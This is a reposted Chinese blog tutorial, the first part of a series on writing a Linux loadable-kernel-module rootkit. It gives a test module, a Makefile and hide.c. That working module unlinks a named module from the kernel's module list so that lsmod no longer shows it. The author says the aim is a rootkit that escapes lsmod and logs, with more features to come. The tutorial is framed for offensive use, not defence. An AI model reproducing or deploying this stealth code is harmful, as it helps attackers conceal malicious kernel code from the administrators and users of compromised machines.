当前位置: 首页 > news >正文

手把手教你写LKM rookit! 之 第一个lkm程序及模块隐藏(一)

  唉,一开始在纠结起个什么名字,感觉名字常常的很装逼,于是起了个这《手把手教你写LKM rookit》

  我觉得: 你们觉得:。。。。。。

       开始之前,我们先来理解一句话:一切的操作都是系统调用。系统通过陷入或者库的方式,让你跟内核的函数交互。当然啦,平时我们都处在用户态的情况下,系统调用调用的是内核态的函数,ps:这个系列完了,我们从内核级的rookit脱离出来,升级到bios级别的rootkit,哇卡卡~~

      那么我在这傻了吧唧的讲了半天,什么是LKM,Loadable Kernel Modules,翻译过来就是“可加载内核模块程序”。

      系统调用一般来处理什么I/O请求啦,进程管理啦,内存管理啊之类的,你想想原来你原来程序有个函数a,调用的是底层的函数b,你把函数b拦截了替换了一个函数c。。。。

      我的系统调用号的定义在 /usr/include/asm-generic/unistd.h 文件中

#include <asm/bitsperlong.h>

/*
 * This file contains the system call numbers, based on the
 * layout of the x86-64 architecture, which embeds the
 * pointer to the syscall in the table.
 *
 * As a basic principle, no duplication of functionality
 * should be added, e.g. we don't use lseek when llseek
 * is present. New architectures should use this file
 * and implement the less feature-full calls in user space.
 */

#ifndef __SYSCALL
#define __SYSCALL(x, y)
#endif

#if __BITS_PER_LONG == 32 || defined(__SYSCALL_COMPAT)
#define __SC_3264(_nr, _32, _64) __SYSCALL(_nr, _32)
#else
View Code

 

hello.c这个以后会成为功能性的主文件

 1 #include <linux/module.h>
 2 #include <linux/init.h>
 3 #include <linux/kernel.h>
 4 #include <linux/list.h>
 5 #include <linux/string.h>
 6 #include <linux/moduleparam.h>
 7 
 8 MODULE_LICENSE ("GPL");
 9 MODULE_AUTHOR("l137");
10 MODULE_DESCRIPTION("test");
11 
12 
13 
14 static int fuck_init(void){
15     printk(KERN_ALERT "come on baby!!");
16     return 0;
17 }
18 
19 static void fuck_exit(void){
20     printk(KERN_ALERT "bye-bye\n");
21 }
22 
23 module_init(fuck_init);
24 module_exit(fuck_exit)
hello.c

 

Makefile:

obj-m += hello.o

all:
        make -C /lib/modules/`uname -r`/build M=`pwd` modules
clean:
        make -C /lib/modules/`uname -r`/build M=`pwd` clean

make之后得到hello.ko文件sudo insmod hello.ko可加载此模块,用rmmod hello删除模块,用dmesg可以查看到我的模块的remove_init函数的执行情况。

[  333.890125] come on baby!!

liet@kali:~/code/c/study/lkm$ lsmod | grep hello
hello 12417 0

至此你的第一个内核级的hello出来了,接下来我们来隐藏它,我们写的是rootkit,当然不能让别人lsmod就能看到,以后日志也不要有

---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

hide.c

#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/list.h>
#include <linux/string.h>
#include <linux/moduleparam.h>

MODULE_LICENSE ("GPL");
MODULE_AUTHOR("l137");
MODULE_DESCRIPTION("test");


static char *mod_name = "hello";
module_param(mod_name, charp, 0);

static int remove_init(void){
    struct module *mod_head,*mod_counter;
    struct list_head *p;
    mod_head = &__this_module;
    list_for_each(p, &mod_head->list){
        mod_counter = list_entry(p, struct module, list);
        if(strcmp(mod_counter->name, mod_name) == 0){
            list_del(p);
            printk("removetree module %s ok!\n",mod_name);
            return 0;
        }
    }
    printk("Can't find module %s.\n",mod_name);
    return 0;
}

static void remove_exit(void){
    printk(KERN_ALERT "hide say : bye-bye\n");
}

module_init(remove_init);
module_exit(remove_exit);
View Code

Makefile跟hello的Makefile一样,改个名字就行

当第一个模块添加后,添加sudo insmod hide.ko,

dmesg一下看到

[ 333.890125] come on baby!!removetree module hello ok!,

这个时候你lsmod发现你的hello不见了,其实它还在。。。。。。

后面我们会往这里面添加些好玩的功能,让这个rootkit强大起来!!

 

 

 

 

  

转载于:https://www.cnblogs.com/l137/p/3454419.html

相关文章:

  • java-java runtime 入门
  • EXCEL中讲 10分10秒转换成610秒
  • 搭建一个Flv视频播放服务器
  • SynchronizationContext
  • 包含CheckBox的TreeView控件——父节点选中时其子节点不可选,子节点有项选中时其父节点不可选...
  • Sublime Text博客插件 --- iblog
  • 瀑布流布局
  • JQuery 去除字符串两边多余的空格
  • ASP.NET MVC 5 学习教程:通过控制器访问模型的数据
  • 端口转发
  • 微软自家的.Net下的JavaScript引擎——ClearScript
  • 计算码流
  • 深圳街头偶遇写字人
  • html5游戏网站
  • 更新flash builder4,6 的AIR版本
  • (ckeditor+ckfinder用法)Jquery,js获取ckeditor值
  • canvas 绘制双线技巧
  • canvas 五子棋游戏
  • iOS筛选菜单、分段选择器、导航栏、悬浮窗、转场动画、启动视频等源码
  • Java 23种设计模式 之单例模式 7种实现方式
  • RxJS: 简单入门
  • springMvc学习笔记(2)
  • UMLCHINA 首席专家潘加宇鼎力推荐
  • Zepto.js源码学习之二
  • 飞驰在Mesos的涡轮引擎上
  • 我有几个粽子,和一个故事
  • 详解移动APP与web APP的区别
  • 小程序测试方案初探
  • 用Canvas画一棵二叉树
  • 智能合约开发环境搭建及Hello World合约
  • CMake 入门1/5:基于阿里云 ECS搭建体验环境
  • 扩展资源服务器解决oauth2 性能瓶颈
  • 如何在 Intellij IDEA 更高效地将应用部署到容器服务 Kubernetes ...
  • 我们雇佣了一只大猴子...
  • ​VRRP 虚拟路由冗余协议(华为)
  • ​人工智能之父图灵诞辰纪念日,一起来看最受读者欢迎的AI技术好书
  • #includecmath
  • #我与Java虚拟机的故事#连载06:收获颇多的经典之作
  • $HTTP_POST_VARS['']和$_POST['']的区别
  • (1)虚拟机的安装与使用,linux系统安装
  • (173)FPGA约束:单周期时序分析或默认时序分析
  • (6)添加vue-cookie
  • (cljs/run-at (JSVM. :browser) 搭建刚好可用的开发环境!)
  • (附源码)ssm教师工作量核算统计系统 毕业设计 162307
  • (深入.Net平台的软件系统分层开发).第一章.上机练习.20170424
  • (一)spring cloud微服务分布式云架构 - Spring Cloud简介
  • (一一四)第九章编程练习
  • (转)Groupon前传:从10个月的失败作品修改,1个月找到成功
  • (转)mysql使用Navicat 导出和导入数据库
  • (转)如何上传第三方jar包至Maven私服让maven项目可以使用第三方jar包
  • .net core控制台应用程序初识
  • .net 调用php,php 调用.net com组件 --
  • .net和php怎么连接,php和apache之间如何连接
  • .考试倒计时43天!来提分啦!
  • [.net 面向对象程序设计进阶] (19) 异步(Asynchronous) 使用异步创建快速响应和可伸缩性的应用程序...